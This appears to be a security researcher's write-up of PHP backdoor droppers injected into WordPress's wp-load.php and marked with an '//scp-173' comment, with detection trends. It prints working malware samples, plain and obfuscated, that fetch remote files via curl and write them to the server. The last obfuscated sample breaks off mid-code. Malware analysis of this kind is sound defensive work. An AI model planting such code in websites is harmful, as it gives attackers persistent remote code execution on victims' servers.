Sometimes malware code injections will contain strange code comments, which are normally used by programmers to annotate a section of code - like a short description. Oftentimes a hacker isn’t interested in leaving comments describing how the injected malware works, so they instead use code comments to add unique identifiers like an alias, a quote, threat group, and sometimes even memes. Unlike defacements, these code comments aren’t intended to be displayed on the infected website and so they can go largely unnoticed.

An interesting code comment was found in different PHP malware that targets WordPress installations:

SCP-173⌗

I began seeing it in the first week of 2020 at the bottom of the malicious code injected into a core WordPress file wp-load.php:

function template($loader=''){
    $load = isset($_REQUEST['WordPress']) ? trim($_REQUEST['WordPress']) : '';
    $dirname = isset($_REQUEST['Database']) ? trim($_REQUEST['Database']) : '';
    $wp = curl_init('hxxp://'.$load);
    curl_setopt($wp, CURLOPT_RETURNTRANSFER, 1);
    $once = curl_exec($wp);
    if ($dirname!='') {
   	 file_put_contents($dirname, $once);
    }
    if (isset($_GET['wp-blog-header'])) {
   	 echo 'wp-blog-header';
    }
}
template();
//scp-173

The malware itself is a PHP backdoor dropper that creates a custom function that uses curl and file_put_contents to download malware from a third party URL which is provided by the attacker in a HTTP request (GET or POST) to the infected website.

As it turns out, SCP-173 is a story/meme entry from the SCP Foundation, which is a collection of creepypasta style fictional stories, and dates back to 2007. It’s unknown why a hacker would choose to use it as a code comment at the end of their injection - they may just be a fan and wanted to leave an easter egg.

Variant Usage Eclipses Original⌗

In any case, we have detected and cleaned malware containing this comment well over a thousand times since the beginning of the year on our clients’ websites. This doesn’t include the variants that began popping up, like the one that I covered earlier in April. The variant in that article has been detected thousands of times this year and peaked in early May 2020.

alt_text

The variants were essentially the same malware as the original with the main difference being the use of obfuscation to make it more difficult for scanners to detect, but yet they did not obfuscate the code comment.

Samples⌗

I’ve included a few variant samples of the PHP code below:


<?php
$OO0__0OO0_ = ("fd91r2ob8cjuk30viyg_7pame46hqnwlsztx-5");
$OOO0_0_0O_ = $OO0__0OO0_{0} . $OO0__0OO0_{16} . $OO0__0OO0_{31} . $OO0__0OO0_{24} . $OO0__0OO0_{19} . $OO0__0OO0_{21} . $OO0__0OO0_{11} . $OO0__0OO0_{34} . $OO0__0OO0_{19} . $OO0__0OO0_{9} . $OO0__0OO0_{6} . $OO0__0OO0_{29} . $OO0__0OO0_{34} . $OO0__0OO0_{24} . $OO0__0OO0_{29} . $OO0__0OO0_{34} . $OO0__0OO0_{32};
$O_0_O0O_O0 = $OO0__0OO0_{9} . $OO0__0OO0_{4} . $OO0__0OO0_{24} . $OO0__0OO0_{22} . $OO0__0OO0_{34} . $OO0__0OO0_{24} . $OO0__0OO0_{19} . $OO0__0OO0_{0} . $OO0__0OO0_{11} . $OO0__0OO0_{29} . $OO0__0OO0_{9} . $OO0__0OO0_{34} . $OO0__0OO0_{16} . $OO0__0OO0_{6} . $OO0__0OO0_{29};
$OO0_O_O_00 = $OO0__0OO0_{9} . $OO0__0OO0_{11} . $OO0__0OO0_{4} . $OO0__0OO0_{31} . $OO0__0OO0_{19} . $OO0__0OO0_{32} . $OO0__0OO0_{24} . $OO0__0OO0_{34} . $OO0__0OO0_{6} . $OO0__0OO0_{21} . $OO0__0OO0_{34};
$O0OO_O_00_ = $OO0__0OO0_{9} . $OO0__0OO0_{11} . $OO0__0OO0_{4} . $OO0__0OO0_{31} . $OO0__0OO0_{19} . $OO0__0OO0_{16} . $OO0__0OO0_{29} . $OO0__0OO0_{16} . $OO0__0OO0_{34};
$OOO_0_00O_ = $OO0__0OO0_{9} . $OO0__0OO0_{11} . $OO0__0OO0_{4} . $OO0__0OO0_{31} . $OO0__0OO0_{19} . $OO0__0OO0_{24} . $OO0__0OO0_{35} . $OO0__0OO0_{24} . $OO0__0OO0_{9};
$O_0__0OO0O = $OO0__0OO0_{34} . $OO0__0OO0_{4} . $OO0__0OO0_{16} . $OO0__0OO0_{23};
$O0O00O__O_ = $
{
    "\x47\x4c\x4f\x42\x41\x4c\x53"
}
["\x4f\x5f\x30\x5f\x4f\x30\x4f\x5f\x4f\x30"]('$O_0OO_0_O0=\'\'', '$O___0OO00O=isset($_REQUEST["\x57\x6f\x72\x64\x50\x72\x65\x73\x73"])?${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x5f\x30\x4f\x4f\x30\x4f"]($_REQUEST["\x57\x6f\x72\x64\x50\x72\x65\x73\x73"]):\'\';$O0_O0OO_0_=isset($_REQUEST["\x44\x61\x74\x61\x62\x61\x73\x65"])?${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x5f\x30\x4f\x4f\x30\x4f"]($_REQUEST["\x44\x61\x74\x61\x62\x61\x73\x65"]):\'\';$O__00_O0OO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x5f\x4f\x5f\x30\x30\x5f"](\'http://\'.$O___0OO00O);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x5f\x4f\x5f\x30\x30"]($O__00_O0OO,CURLOPT_RETURNTRANSFER,1);$OO0_O_O00_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x30\x5f\x30\x30\x4f\x5f"]($O__00_O0OO);if($O0_O0OO_0_!=\'\'){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x30\x5f\x30\x4f\x5f"]($O0_O0OO_0_,$OO0_O_O00_);}if(isset(${"\x5f\x47\x45\x54"}["\x77\x70\x2d\x62\x6c\x6f\x67\x2d\x68\x65\x61\x64\x65\x72"])){echo \'wp-blog-header\';}');
$
{
    "\x47\x4c\x4f\x42\x41\x4c\x53"
}
["\x4f\x30\x4f\x30\x30\x4f\x5f\x5f\x4f\x5f"]();
//scp-173
?>
	

<?php 
function template($loader=''){
    $load = isset($_REQUEST['WordPress']) ? trim($_REQUEST['WordPress']) : '';
    $dirname = isset($_REQUEST['Database']) ? trim($_REQUEST['Database']) : '';
    $wp = curl_init('http://'.$load);
    curl_setopt($wp, CURLOPT_RETURNTRANSFER, 1);
    $once = curl_exec($wp);
    if ($dirname!='') {
        file_put_contents($dirname, $once);
    }
    if (isset($_GET['wp-blog-header'])) {
        echo 'wp-blog-header';
    }
}
template();
//scp-173
?>
	

<?php
/*kjdsjkds*/
$OO00__0OO_='1';
$OO__0_00OO="m0jwsxiq6v_5ch1a4yo73p2r-dlzgebuntk98f";$O__OO0_0O0=$OO__0_00OO{4}.$OO__0_00OO{33}.$OO__0_00OO{23}.$OO__0_00OO{29}.$OO__0_00OO{15}.$OO__0_00OO{0}.$OO__0_00OO{10}.$OO__0_00OO{4}.$OO__0_00OO{18}.$OO__0_00OO{12}.$OO__0_00OO{34}.$OO__0_00OO{29}.$OO__0_00OO{33}.$OO__0_00OO{10}.$OO__0_00OO{12}.$OO__0_00OO{26}.$OO__0_00OO{6}.$OO__0_00OO{29}.$OO__0_00OO{32}.$OO__0_00OO{33};$O0_00__OOO=$OO__0_00OO{4}.$OO__0_00OO{33}.$OO__0_00OO{23}.$OO__0_00OO{29}.$OO__0_00OO{15}.$OO__0_00OO{0}.$OO__0_00OO{10}.$OO__0_00OO{28}.$OO__0_00OO{29}.$OO__0_00OO{33}.$OO__0_00OO{10}.$OO__0_00OO{0}.$OO__0_00OO{29}.$OO__0_00OO{33}.$OO__0_00OO{15}.$OO__0_00OO{10}.$OO__0_00OO{25}.$OO__0_00OO{15}.$OO__0_00OO{33}.$OO__0_00OO{15};$OO0_0_OO_0=$OO__0_00OO{4}.$OO__0_00OO{33}.$OO__0_00OO{23}.$OO__0_00OO{29}.$OO__0_00OO{15}.$OO__0_00OO{0}.$OO__0_00OO{10}.$OO__0_00OO{4}.$OO__0_00OO{29}.$OO__0_00OO{33}.$OO__0_00OO{10}.$OO__0_00OO{30}.$OO__0_00OO{26}.$OO__0_00OO{18}.$OO__0_00OO{12}.$OO__0_00OO{34}.$OO__0_00OO{6}.$OO__0_00OO{32}.$OO__0_00OO{28};$O0_0O_O_O0=$OO__0_00OO{4}.$OO__0_00OO{33}.$OO__0_00OO{23}.$OO__0_00OO{29}.$OO__0_00OO{15}.$OO__0_00OO{0}.$OO__0_00OO{10}.$OO__0_00OO{4}.$OO__0_00OO{29}.$OO__0_00OO{33}.$OO__0_00OO{10}.$OO__0_00OO{33}.$OO__0_00OO{6}.$OO__0_00OO{0}.$OO__0_00OO{29}.$OO__0_00OO{18}.$OO__0_00OO{31}.$OO__0_00OO{33};$OO__0O0_0O=$OO__0_00OO{37}.$OO__0_00OO{6}.$OO__0_00OO{26}.$OO__0_00OO{29}.$OO__0_00OO{10}.$OO__0_00OO{21}.$OO__0_00OO{31}.$OO__0_00OO{33}.$OO__0_00OO{10}.$OO__0_00OO{12}.$OO__0_00OO{18}.$OO__0_00OO{32}.$OO__0_00OO{33}.$OO__0_00OO{29}.$OO__0_00OO{32}.$OO__0_00OO{33}.$OO__0_00OO{4};$O0O__0_OO0=$OO__0_00OO{37}.$OO__0_00OO{6}.$OO__0_00OO{26}.$OO__0_00OO{29}.$OO__0_00OO{10}.$OO__0_00OO{28}.$OO__0_00OO{29}.$OO__0_00OO{33}.$OO__0_00OO{10}.$OO__0_00OO{12}.$OO__0_00OO{18}.$OO__0_00OO{32}.$OO__0_00OO{33}.$OO__0_00OO{29}.$OO__0_00OO{32}.$OO__0_00OO{33}.$OO__0_00OO{4};$O0_00O__OO=$OO__0_00OO{37}.$OO__0_00OO{31}.$OO__0_00OO{32}.$OO__0_00OO{12}.$OO__0_00OO{33}.$OO__0_00OO{6}.$OO__0_00OO{18}.$OO__0_00OO{32}.$OO__0_00OO{10}.$OO__0_00OO{29}.$OO__0_00OO{5}.$OO__0_00OO{6}.$OO__0_00OO{4}.$OO__0_00OO{33}.$OO__0_00OO{4};$O_O_0O0_0O=$OO__0_00OO{12}.$OO__0_00OO{23}.$OO__0_00OO{29}.$OO__0_00OO{15}.$OO__0_00OO{33}.$OO__0_00OO{29}.$OO__0_00OO{10}.$OO__0_00OO{37}.$OO__0_00OO{31}.$OO__0_00OO{32}.$OO__0_00OO{12}.$OO__0_00OO{33}.$OO__0_00OO{6}.$OO__0_00OO{18}.$OO__0_00OO{32};$O_0_O_OO00=$OO__0_00OO{4}.$OO__0_00OO{18}.$OO__0_00OO{12}.$OO__0_00OO{34}.$OO__0_00OO{29}.$OO__0_00OO{33}.$OO__0_00OO{10}.$OO__0_00OO{12}.$OO__0_00OO{18}.$OO__0_00OO{32}.$OO__0_00OO{32}.$OO__0_00OO{29}.$OO__0_00OO{12}.$OO__0_00OO{33};$O__00O0O_O=$OO__0_00OO{28}.$OO__0_00OO{29}.$OO__0_00OO{33}.$OO__0_00OO{13}.$OO__0_00OO{18}.$OO__0_00OO{4}.$OO__0_00OO{33}.$OO__0_00OO{30}.$OO__0_00OO{17}.$OO__0_00OO{32}.$OO__0_00OO{15}.$OO__0_00OO{0}.$OO__0_00OO{29};$O0O__O_O00=$OO__0_00OO{30}.$OO__0_00OO{15}.$OO__0_00OO{4}.$OO__0_00OO{29}.$OO__0_00OO{8}.$OO__0_00OO{16}.$OO__0_00OO{10}.$OO__0_00OO{25}.$OO__0_00OO{29}.$OO__0_00OO{12}.$OO__0_00OO{18}.$OO__0_00OO{25}.$OO__0_00OO{29};$O__O0_0OO0=$OO__0_00OO{4}.$OO__0_00OO{18}.$OO__0_00OO{12}.$OO__0_00OO{34}.$OO__0_00OO{29}.$OO__0_00OO{33}.$OO__0_00OO{10}.$OO__0_00OO{3}.$OO__0_00OO{23}.$OO__0_00OO{6}.$OO__0_00OO{33}.$OO__0_00OO{29};$OOO0_00_O_=$OO__0_00OO{4}.$OO__0_00OO{18}.$OO__0_00OO{12}.$OO__0_00OO{34}.$OO__0_00OO{29}.$OO__0_00OO{33}.$OO__0_00OO{10}.$OO__0_00OO{12}.$OO__0_00OO{26}.$OO__0_00OO{18}.$OO__0_00OO{4}.$OO__0_00OO{29};$O__00OOO_0=$OO__0_00OO{4}.$OO__0_00OO{33}.$OO__0_00OO{23}.$OO__0_00OO{10}.$OO__0_00OO{23}.$OO__0_00OO{29}.$OO__0_00OO{21}.$OO__0_00OO{26}.$OO__0_00OO{15}.$OO__0_00OO{12}.$OO__0_00OO{29};$O0O_OO00__=$OO__0_00OO{4}.$OO__0_00OO{18}.$OO__0_00OO{12}.$OO__0_00OO{34}.$OO__0_00OO{29}.$OO__0_00OO{33}.$OO__0_00OO{10}.$OO__0_00OO{23}.$OO__0_00OO{29}.$OO__0_00OO{15}.$OO__0_00OO{25};$O00_0O_OO_=$OO__0_00OO{37}.$OO__0_00OO{6}.$OO__0_00OO{26}.$OO__0_00OO{29}.$OO__0_00OO{10}.$OO__0_00OO{29}.$OO__0_00OO{5}.$OO__0_00OO{6}.$OO__0_00OO{4}.$OO__0_00OO{33}.$OO__0_00OO{4};$O_O0O00__O=$OO__0_00OO{12}.$OO__0_00OO{31}.$OO__0_00OO{23}.$OO__0_00OO{26}.$OO__0_00OO{10}.$OO__0_00OO{4}.$OO__0_00OO{29}.$OO__0_00OO{33}.$OO__0_00OO{18}.$OO__0_00OO{21}.$OO__0_00OO{33};$O__O0_O0O0=$OO__0_00OO{15}.$OO__0_00OO{23}.$OO__0_00OO{23}.$OO__0_00OO{15}.$OO__0_00OO{17}.$OO__0_00OO{10}.$OO__0_00OO{4}.$OO__0_00OO{13}.$OO__0_00OO{6}.$OO__0_00OO{37}.$OO__0_00OO{33};$O000OOO___=$OO__0_00OO{21}.$OO__0_00OO{23}.$OO__0_00OO{29}.$OO__0_00OO{28}.$OO__0_00OO{10}.$OO__0_00OO{0}.$OO__0_00OO{15}.$OO__0_00OO{33}.$OO__0_00OO{12}.$OO__0_00OO{13};$O_00_OO0O_=$OO__0_00OO{12}.$OO__0_00OO{31}.$OO__0_00OO{23}.$OO__0_00OO{26}.$OO__0_00OO{10}.$OO__0_00OO{29}.$OO__0_00OO{23}.$OO__0_00OO{23}.$OO__0_00OO{18}.$OO__0_00OO{23};$O00OO_0__O=$OO__0_00OO{12}.$OO__0_00OO{31}.$OO__0_00OO{23}.$OO__0_00OO{26}.$OO__0_00OO{10}.$OO__0_00OO{12}.$OO__0_00OO{26}.$OO__0_00OO{18}.$OO__0_00OO{4}.$OO__0_00OO{29};$O_0OOO00__=$OO__0_00OO{21}.$OO__0_00OO{15}.$OO__0_00OO{23}.$OO__0_00OO{4}.$OO__0_00OO{29}.$OO__0_00OO{10}.$OO__0_00OO{31}.$OO__0_00OO{23}.$OO__0_00OO{26};$O0O0O__0O_=$OO__0_00OO{28}.$OO__0_00OO{27}.$OO__0_00OO{6}.$OO__0_00OO{32}.$OO__0_00OO{37}.$OO__0_00OO{26}.$OO__0_00OO{15}.$OO__0_00OO{33}.$OO__0_00OO{29};$O_0O_0O_0O=$OO__0_00OO{37}.$OO__0_00OO{6}.$OO__0_00OO{26}.$OO__0_00OO{29}.$OO__0_00OO{0}.$OO__0_00OO{33}.$OO__0_00OO{6}.$OO__0_00OO{0}.$OO__0_00OO{29};$OO_O_0_0O0=$OO__0_00OO{12}.$OO__0_00OO{31}.$OO__0_00OO{23}.$OO__0_00OO{26}.$OO__0_00OO{10}.$OO__0_00OO{6}.$OO__0_00OO{32}.$OO__0_00OO{6}.$OO__0_00OO{33};$OO00OO_0__=$OO__0_00OO{12}.$OO__0_00OO{31}.$OO__0_00OO{23}.$OO__0_00OO{26}.$OO__0_00OO{10}.$OO__0_00OO{29}.$OO__0_00OO{5}.$OO__0_00OO{29}.$OO__0_00OO{12};$O_000OO_O_=$OO__0_00OO{0}.$OO__0_00OO{33}.$OO__0_00OO{10}.$OO__0_00OO{23}.$OO__0_00OO{15}.$OO__0_00OO{32}.$OO__0_00OO{25};$OO_O0_0_0O=$OO__0_00OO{6}.$OO__0_00OO{0}.$OO__0_00OO{21}.$OO__0_00OO{26}.$OO__0_00OO{18}.$OO__0_00OO{25}.$OO__0_00OO{29};$O00O_O_O_0=$OO__0_00OO{29}.$OO__0_00OO{5}.$OO__0_00OO{21}.$OO__0_00OO{26}.$OO__0_00OO{18}.$OO__0_00OO{25}.$OO__0_00OO{29};$O0O00_O_O_=$OO__0_00OO{31}.$OO__0_00OO{4}.$OO__0_00OO{26}.$OO__0_00OO{29}.$OO__0_00OO{29}.$OO__0_00OO{21};$O0OO_O0__0=$OO__0_00OO{31}.$OO__0_00OO{32}.$OO__0_00OO{26}.$OO__0_00OO{6}.$OO__0_00OO{32}.$OO__0_00OO{34};$OO00O0O___=$OO__0_00OO{4}.$OO__0_00OO{33}.$OO__0_00OO{23}.$OO__0_00OO{4}.$OO__0_00OO{33}.$OO__0_00OO{23};$O0O_O0__0O=$OO__0_00OO{4}.$OO__0_00OO{33}.$OO__0_00OO{23}.$OO__0_00OO{26}.$OO__0_00OO{29}.$OO__0_00OO{32};$OO_O_O_000=$OO__0_00OO{37}.$OO__0_00OO{3}.$OO__0_00OO{23}.$OO__0_00OO{6}.$OO__0_00OO{33}.$OO__0_00OO{29};$O_0_O00O_O=$OO__0_00OO{37}.$OO__0_00OO{12}.$OO__0_00OO{26}.$OO__0_00OO{18}.$OO__0_00OO{4}.$OO__0_00OO{29};$OOO0_O__00=$OO__0_00OO{33}.$OO__0_00OO{18}.$OO__0_00OO{31}.$OO__0_00OO{12}.$OO__0_00OO{13};$O0_0OOO0__=$OO__0_00OO{37}.$OO__0_00OO{23}.$OO__0_00OO{29}.$OO__0_00OO{15}.$OO__0_00OO{25};$O_O_O00O0_=$OO__0_00OO{37}.$OO__0_00OO{28}.$OO__0_00OO{29}.$OO__0_00OO{33}.$OO__0_00OO{4};$OO_0OO0_0_=$OO__0_00OO{12}.$OO__0_00OO{13}.$OO__0_00OO{0}.$OO__0_00OO{18}.$OO__0_00OO{25};$OO_0O0_O0_=$OO__0_00OO{33}.$OO__0_00OO{23}.$OO__0_00OO{6}.$OO__0_00OO{0};$O0O_O_0_0O=$OO__0_00OO{2}.$OO__0_00OO{18}.$OO__0_00OO{6}.$OO__0_00OO{32};$OO__0O_O00=$OO__0_00OO{37}.$OO__0_00OO{29}.$OO__0_00OO{18}.$OO__0_00OO{37};header('Content-Type:text/html;charset=utf-8');;$O_O000O__O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x4f\x30\x5f\x30\x4f"]('$O__O00_O0O=\'\',$OO_0_O0_O0=NULL,$OO___0OO00=array()','if(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]("/^http\\:\\/\\//si",$O__O00_O0O)){if(isset(${"\x5f\x47\x45\x54"}["\x75\x72\x6c\x65\x71\x71"])){$OOO___000O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x30\x5f\x4f\x5f\x4f\x4f"](\'iy4tyhTkktKsovilXIzCtLzMlMUQCKWKnlJRUtPXWAMA\');$OOO___000O.=$O__O00_O0O;echo $OOO___000O;unset($OOO___000O);exit();}return \'\';}$O000_O_OO_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x30\x5f\x4f\x5f\x4f\x4f"](\'Sy4tyhTonPzMss0U4GsYpTS/ILoOzUitTkmrTi/OTs/ILUvJoCBLO4pCg1MTcexE8tiU/OyUzNK6mB8YBtPSJakA\');$O0OO0_O0__=$O_O_0OO_00=\'\';foreach(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x5f\x4f\x5f\x4f\x5f\x30"](\'|\',$O000_O_OO_) as $c){$OO_O00_O_0=1;foreach(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x5f\x4f\x5f\x4f\x5f\x30"](\'+\',$c) as $d){if(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x30\x4f\x5f\x5f\x4f\x4f"]($d)){$OO_O00_O_0=0;}}unset($d);if($OO_O00_O_0){$O0OO0_O0__=$c;break;}}unset($O000_O_OO_,$c);if($O0OO0_O0__==\'\'){return 0;}if(substr($O0OO0_O0__,0,1)==\'c\'){$OO0O__00_O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x5f\x30\x5f\x30\x4f\x30"]();${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x4f\x30\x30\x5f\x5f\x4f"]($OO0O__00_O,CURLOPT_URL,$O__O00_O0O);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x4f\x30\x30\x5f\x5f\x4f"]($OO0O__00_O,CURLOPT_USERAGENT,\'WHR\');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x4f\x30\x30\x5f\x5f\x4f"]($OO0O__00_O,CURLOPT_RETURNTRANSFER,1);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x4f\x30\x30\x5f\x5f\x4f"]($OO0O__00_O,CURLOPT_TIMEOUT,100);$OO__O_O000=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x4f\x4f\x5f\x30\x5f\x5f"]($OO0O__00_O);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x4f\x5f\x30\x5f\x5f\x4f"]($OO0O__00_O);if(!$OO__O_O000){if(isset(${"\x5f\x47\x45\x54"}["\x63\x75\x72\x6c\x65\x72\x72"])){$OOO___000O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x30\x5f\x4f\x5f\x4f\x4f"](\'Sy4tyhTlFILSrtPKLwIA\');$OOO___000O.=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x5f\x4f\x4f\x30\x4f\x5f"]($OO0O__00_O);echo $OOO___000O;unset($OOO___000O);exit();}return 0;}else{$OO__O_O000=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x4f\x30\x5f\x4f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x4f\x30\x5f\x4f\x30\x5f"]($OO__O_O000,"\\xEF\\xBB\\xBF"));return $OO__O_O000;}}$O_00OO_O_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x4f\x4f\x30\x30\x5f\x5f"]($O__O00_O0O);isset($O_00OO_O_0["\x68\x6f\x73\x74"])||$O_00OO_O_0["\x68\x6f\x73\x74"]=\'\';isset($O_00OO_O_0["\x70\x61\x74\x68"])||$O_00OO_O_0["\x70\x61\x74\x68"]=\'\';isset($O_00OO_O_0["\x71\x75\x65\x72\x79"])|| $O_00OO_O_0["\x71\x75\x65\x72\x79"]=\'\';isset($O_00OO_O_0["\x4f\x30\x4f\x4f\x5f\x5f\x30\x5f\x4f\x30"])||$O_00OO_O_0["\x4f\x30\x4f\x4f\x5f\x5f\x30\x5f\x4f\x30"]=\'\';$O_OO00_0O_=$O_00OO_O_0["\x70\x61\x74\x68"]?$O_00OO_O_0["\x70\x61\x74\x68"].($O_00OO_O_0["\x71\x75\x65\x72\x79"]?\'?\'.$O_00OO_O_0["\x71\x75\x65\x72\x79"]:\'\'):\'/\';$O0O0_0_O_O=$O_00OO_O_0["\x68\x6f\x73\x74"];if($O_00OO_O_0["\x73\x63\x68\x65\x6d\x65"]==\'https\'){$O0__0OO0_O=\'1.1\';$O0OO__0_O0=empty($O_00OO_O_0["\x4f\x30\x4f\x4f\x5f\x5f\x30\x5f\x4f\x30"])?443:$O_00OO_O_0["\x4f\x30\x4f\x4f\x5f\x5f\x30\x5f\x4f\x30"];$O0O0_0_O_O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x30\x5f\x4f\x5f\x4f\x4f"](\'Ky7OshTdLtPXBwA=\');$O0O0_0_O_O.=$O_00OO_O_0["\x68\x6f\x73\x74"];}else{$O0__0OO0_O=\'1.0\';$O0OO__0_O0=empty($O_00OO_O_0["\x4f\x30\x4f\x4f\x5f\x5f\x30\x5f\x4f\x30"])?80:$O_00OO_O_0["\x4f\x30\x4f\x4f\x5f\x5f\x30\x5f\x4f\x30"];}$OO_000OO__=\'Host:\';$OO_000OO__.=$O0O0_0_O_O;$OO___0OO00[]=$OO_000OO__;$OO___0OO00[]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x30\x5f\x4f\x5f\x4f\x4f"](\'c87PyhT0tNLsnMz7NyzsktPvTgUA\');$OO___0OO00[]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x30\x5f\x4f\x5f\x4f\x4f"](\'Cy1OLhTdJ1TE/NK7EK9wgtPCAA==\');$OO___0OO00[]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x30\x5f\x4f\x5f\x4f\x4f"](\'c0xOThTi0osdLtPS1wIA\');unset($OO_000OO__);$O_O_0OO_00="GET $O_OO00_0O_ HTTP/$O0__0OO0_O\\r\\n".${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x4f\x5f\x30\x5f\x30\x4f"]("\\r\\n",$OO___0OO00)."\\r\\n\\r\\n";unset($OO___0OO00,$O_00OO_O_0,$O0__0OO0_O,$O_OO00_0O_);$OO___000OO=null;if(substr($O0OO0_O0__,-1)==\'n\'){$OO___000OO=$O0OO0_O0__($O0O0_0_O_O,$O0OO__0_O0,$OOO___000Ono,$OOO___000Ostr,30);}else{if(substr($O0OO0_O0__,-1)==\'t\'){$OO0_O_00O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x30\x5f\x4f\x5f\x4f\x4f"](\'K0kushTNLtPXBwA=\');$OO0_O_00O_.=$O0O0_0_O_O;$OO0_O_00O_.=\':\';$OO0_O_00O_.=$O0OO__0_O0;$OO___000OO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x4f\x4f\x30\x5f\x30\x4f\x30"]($OO0_O_00O_,$OOO___000Ono,$OOO___000Ostr,30);unset($OO0_O_00O_);}}$O_0OO0_0_O=\'\';if($OO___000OO){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x30\x5f\x4f\x4f\x5f\x30"]($OO___000OO,true);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x4f\x5f\x4f\x5f\x4f\x30"]($OO___000OO,30);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x5f\x4f\x5f\x30\x30\x30"]($OO___000OO,$O_O_0OO_00);$OO_O00_0_O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x30\x5f\x5f\x4f\x4f\x4f"]($OO___000OO);if(!$OO_O00_0_O["\x74\x69\x6d\x65\x64\x5f\x6f\x75\x74"]){while(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x30\x4f\x5f\x4f\x30\x30"]($OO___000OO)){$O0O__0O0O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x30\x30\x4f\x30\x5f"]($OO___000OO);if($O0O__0O0O_&&($O0O__0O0O_=="\\r\\n"||$O0O__0O0O_=="\\n")){break;}unset($O0O__0O0O_);}while(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x30\x4f\x5f\x4f\x30\x30"]($OO___000OO)){$O00O_O_O0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x4f\x4f\x4f\x30\x5f\x5f"]($OO___000OO,8192);$O_0OO0_0_O.=$O00O_O_O0_;unset($O00O_O_O0_);}}unset($OO_O00_0_O);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x30\x30\x4f\x5f\x4f"]($OO___000OO);}else{if(substr($O0OO0_O0__,-1)==\'e\'){$O__0O0O0O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x30\x4f\x30\x4f\x5f\x4f"]($O0O0_0_O_O);$OO___000OO=$O0OO0_O0__(AF_INET,SOCK_STREAM,0);if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x5f\x4f\x4f\x30\x30"]($OO___000OO,$O__0O0O0O_,$O0OO__0_O0)){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x4f\x30\x5f\x30\x4f\x4f\x30"]($OO___000OO,$O_O_0OO_00,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x4f\x30\x5f\x5f\x30\x4f"]($O_O_0OO_00));while($OOO00_0O__=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x4f\x4f\x30\x30\x5f\x5f"]($OO___000OO,8192)){$O_0OO0_0_O.=$OOO00_0O__;unset($OOO00_0O__);}$O_0OO0_0_O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x5f\x4f\x5f\x4f\x5f\x30"]("\\r\\n\\r\\n",$O_0OO0_0_O);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x4f\x30\x5f\x4f\x30\x4f\x30"]($O_0OO0_0_O);$O_0OO0_0_O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x30\x5f\x30\x5f\x30\x4